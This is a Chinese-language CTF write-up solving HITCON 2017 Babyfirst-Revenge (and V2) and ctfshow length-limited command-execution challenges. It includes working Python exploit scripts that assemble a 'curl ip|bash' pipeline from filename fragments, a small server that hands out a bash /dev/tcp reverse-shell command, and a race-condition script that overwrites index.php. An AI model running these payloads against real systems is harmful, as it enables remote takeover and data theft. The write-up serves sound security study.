本文最后更新于 2025年8月28日 晚上
参考链接
Funny Linux Tips – fushulingのblog
极限命令执行6、7 WP - 飞书云文档
Ctfshow极限大挑战之三字节读取文件
在了解这个题目前,先学习一下hitcon2017的题目,babyfirst-revenge和v2,
hitcon2017
Babyfirst-Revenge
1 2 3 4 5 6 7 8 9 10 <?php $sandbox = '/www/sandbox/' . md5 ("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox ); if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 5 ) { @exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); } highlight_file (__FILE__ );
这里先创建了文件夹$sandbox
,然后修改了当前的目录,然后对于输入的内容cmd有一个长度的限制
My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge at master · orangetw/My-CTF-Web-Challenges
标准的思路直接去看orange神的exp,这边现在本地尝试一下内容
已知在linux里面可以用\
进行简单的绕过
其次的话执行sh会直接执行文本里面的内容
即使报错了,对应的命令还是会继续执行下去,那么基础的知识差不多就这些。
那么这题的流程大概就是打开冰箱--->把大象塞进去--->把冰箱关上
那么exp是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsfrom time import sleepfrom urllib.parse import quote payload = [ r'>ls\\' , r'ls>_' , r'>\ \\' , r'>-t\\' , r'>\>g' , r'ls>>_' , r'>sh\\' , r'>ba\\' , r'>\|\\' , r'>8\\' , r'>20\\' , r'>2.\\' , r'>22\\' , r'>3.\\' , r'>8\\' , r'>7.\\' , r'>4\\' , r'>\ \\' , r'>rl\\' , r'>cu\\' , 'sh _' , 'sh g' , ] r = requests.get('http://ip/?reset=1' )for i in payload: assert len (i) <= 5 r = requests.get('http://ip/?cmd=' + quote(i)) print (i) sleep(0.2 )
然后这个是网页的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from http.server import HTTPServer, BaseHTTPRequestHandlerclass CommandHandler (BaseHTTPRequestHandler ): def do_GET (self ): self .send_response(200 ) self .send_header('Content-type' , 'text/plain; charset=utf-8' ) self .end_headers() self .wfile.write(b"bash -i >& /dev/tcp/vps/5566 0>&1\n" )if __name__ == "__main__" : server_address = ('0.0.0.0' , 80 ) httpd = HTTPServer(server_address, CommandHandler) print ("Serving on port 80..." ) httpd.serve_forever()
上面代码大致的意思就是先输入了ls -t>g
然后接下来的顺序就是构造了一个curl ip |bash
的内容,
分别执行sh _
,sh g
,执行第一个_文件是为了执行里面的内容ls -t>g
Babyfirst-Revenge-V2
1 2 3 4 5 6 7 8 9 10 11 <?php echo $_SERVER ['REMOTE_ADDR' ]."\n" ; $sandbox = '/var/www/html/sandbox/' . md5 ("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir ($sandbox ); @chdir ($sandbox ); if (isset ($_GET ['cmd' ]) && strlen ($_GET ['cmd' ]) <= 4 ) { @exec ($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec ('/bin/rm -rf ' . $sandbox ); } highlight_file (__FILE__ );
在上面的基础上又少了一个长度,ls>>_
在此基础上不能用了,长度不够了,但思路大致还是这样,需要反弹shell
可以看到*
是可以执行命令的,linux排序是按字母进行排序的,如上图所示
这里参照wp使用的是rev,首先构造g> ht- sl
,之后利用*v这种任意字符来执行命令进行逆向,最后拼接执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsfrom time import sleepfrom urllib.parse import quote payload = [ '>dir' , '>sl' , '>g\\>' , '>ht-' , '*>v' , '>rev' , '*v>x' , '>\\;\\' , '>on\\' , '>th\\' , '>py\\' , '>\\|\\' , '>tw\\' , '>e.\\' , '>ng\\' , '>ra\\' , '>o\\' , '>\\ \\' , '>rl\\' , '>cu\\' , 'sh x' , 'sh g' , ] r = requests.get ('http://ip/?reset=1' )for i in payload: assert len (i) <= 4 r = requests.get ('http://ip/?cmd=' + quote (i)) print (i) sleep (0.1 )
ctfshow
极限命令执行6
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow ) && strlen ($ctfshow ) <= 3 ) { sleep (1 ); system ($ctfshow ); } }else { highlight_file (__FILE__ ); }?>
这里flag直接在这里了,那么就要尝试读出内容
但是这里还是比较畸形的,只给了三长度,先去/bin
看一下内容
我们知道*
读取文件然后执行,那么命令
[a-f]的命令可以操作flag.php和index.php,命令开头为[g-i]的可以操作index.php
这里可以看到下面的hd
那么解题的思路就是可以尝试把flag的内容输入到index.php里面,然后再读取index.php的内容
这里存在sleep(1)
有时间进行短暂的缓存,由于时间限制需要Race Condition,我们写个脚本(参考包子哥的)
由于一旦覆盖了之后靶机原始的index.php不能执行了,所以脚本是一次性的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsfrom concurrent.futures import ThreadPoolExecutorimport time url = "http://c9c81c6d-23db-4e1c-9247-41c24da46c44.challenge.ctf.show/" payloads = [ {"ctf_show" : ">cp" }, {"ctf_show" : "*p" }, {"ctf_show" : ">hd" }, {"ctf_show" : "*d*" } ]def send (data ): r = requests.post(url, data=data) print (r.text)if __name__ == "__main__" : send(payloads[0 ]) time.sleep(1 ) executor = ThreadPoolExecutor(max_workers=50 ) args_list = [payloads[1 ], payloads[2 ], payloads[3 ]] for args in args_list: time.sleep(0.1 ) executor.submit(send, args)
开始的命令写进去之后不能有什么影响之后就是按照顺序进行执行竞争确保在有限的时间进行覆盖内容
极限命令执行7
提示1:flag在用户家目录里,文件名未知
提示2:可用字符是 数字、字母、特殊符号
以上是给的提示
那么分析就是在/home/*
中的某个文件,按照一般的逻辑应该是/home/www-data
下的文件
看代码给的是3长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (is_string ($ctfshow ) && strlen ($ctfshow ) <= 3 ) { system ($ctfshow ); } }else { highlight_file (__FILE__ ); }?>
首先执行pwd
的命令回显是/var/www/html
那其实可以根据思考以及在本地的尝试* ~
命令可以放到当前用户的目录里
现在需要fuzz里面存在的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport stringimport itertools requests.packages.urllib3.disable_warnings() url="http://ae5b568a-d5fd-4733-8435-d4ad413d27aa.challenge.ctf.show/" chars = string.digits+string.ascii_lowercasefor cmd in ['' .join(pair) for pair in itertools.product(chars, repeat=2 )]: r = requests.post(url, data={'ctf_show' : cmd}, verify=False ) if r.content: print ("=" *40 ) print (cmd) print (r.content)
这里看到7z是存在的,那么应该是打包到指定的目录
这里没sleep那么直接执行就行
最后执行的逻辑就是7z /home/www-data a b
a是add的意思最后打包成b.7z下载得到flag
后话
在八月月底终于水了一篇,前几天在群里看了狗哥发的文章,然后包子也发文章了,刚好借此水一篇